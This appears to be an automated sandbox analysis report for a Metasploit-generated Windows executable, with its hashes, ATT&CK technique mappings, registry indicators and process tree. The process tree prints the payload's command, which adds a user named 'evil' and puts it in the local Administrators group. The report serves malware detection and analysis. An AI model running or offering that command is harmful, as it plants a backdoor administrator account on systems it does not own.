metasploit | 49617b0d75adf1b92e60a8521b0b96e728054316488b08c5ca154bd1a7f2e8df

Analysis

max time kernel
15s
max time network
20s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
12-09-2024 10:05

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General

Target

d53026f6828d6230214bd410dab4d3a0N.exe
Size

72KB
MD5

d53026f6828d6230214bd410dab4d3a0
SHA1

8e6b61fe08c297258b452b995511be436654cf83
SHA256

49617b0d75adf1b92e60a8521b0b96e728054316488b08c5ca154bd1a7f2e8df
SHA512

b04d2a534445e945f68ae25325229e116aa13bc3cc12546bac55c415300fc0edfe347cc57e9585c7ddd2aa8f92a7366fe6774263c49085cd781b0e3177cd721b
SSDEEP

1536:IyS7dUWtCBbHniQGvkkf1I9fs5aTjfMb+KR0Nc8QsJq39:y7dUSWDnifvkamB/fe0Nc8QsC9

Score

10^/10

metasploit backdoor discovery trojan

Malware Config

Extracted

Family

metasploit

Version

windows/exec

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d53026f6828d6230214bd410dab4d3a0N.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Runs net.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2436 wrote to memory of 2924	2436	d53026f6828d6230214bd410dab4d3a0N.exe	29
PID 2436 wrote to memory of 2924	2436	d53026f6828d6230214bd410dab4d3a0N.exe	29
PID 2436 wrote to memory of 2924	2436	d53026f6828d6230214bd410dab4d3a0N.exe	29
PID 2436 wrote to memory of 2924	2436	d53026f6828d6230214bd410dab4d3a0N.exe	29
PID 2924 wrote to memory of 2252	2924	cmd.exe	31
PID 2924 wrote to memory of 2252	2924	cmd.exe	31
PID 2924 wrote to memory of 2252	2924	cmd.exe	31
PID 2924 wrote to memory of 2252	2924	cmd.exe	31
PID 2252 wrote to memory of 1372	2252	net.exe	32
PID 2252 wrote to memory of 1372	2252	net.exe	32
PID 2252 wrote to memory of 1372	2252	net.exe	32
PID 2252 wrote to memory of 1372	2252	net.exe	32
PID 2924 wrote to memory of 2204	2924	cmd.exe	33
PID 2924 wrote to memory of 2204	2924	cmd.exe	33
PID 2924 wrote to memory of 2204	2924	cmd.exe	33
PID 2924 wrote to memory of 2204	2924	cmd.exe	33
PID 2204 wrote to memory of 2232	2204	net.exe	34
PID 2204 wrote to memory of 2232	2204	net.exe	34
PID 2204 wrote to memory of 2232	2204	net.exe	34
PID 2204 wrote to memory of 2232	2204	net.exe	34

C:\Users\Admin\AppData\Local\Temp\d53026f6828d6230214bd410dab4d3a0N.exe
"C:\Users\Admin\AppData\Local\Temp\d53026f6828d6230214bd410dab4d3a0N.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2436
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net user evil somepassword /ADD && net localgroup Administrators evil /ADD
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2924
- - C:\Windows\SysWOW64\net.exe
    net user evil somepassword /ADD
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2252
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user evil somepassword /ADD
      4⤵
      System Location Discovery: System Language Discovery
      PID:1372
- - C:\Windows\SysWOW64\net.exe
    net localgroup Administrators evil /ADD
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2204
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup Administrators evil /ADD
      4⤵
      System Location Discovery: System Language Discovery
      PID:2232

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Privilege Escalation

Account Manipulation

T1098

Defense Evasion

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2436-0-0x0000000000020000-0x0000000000021000-memory.dmp

Filesize
4KB

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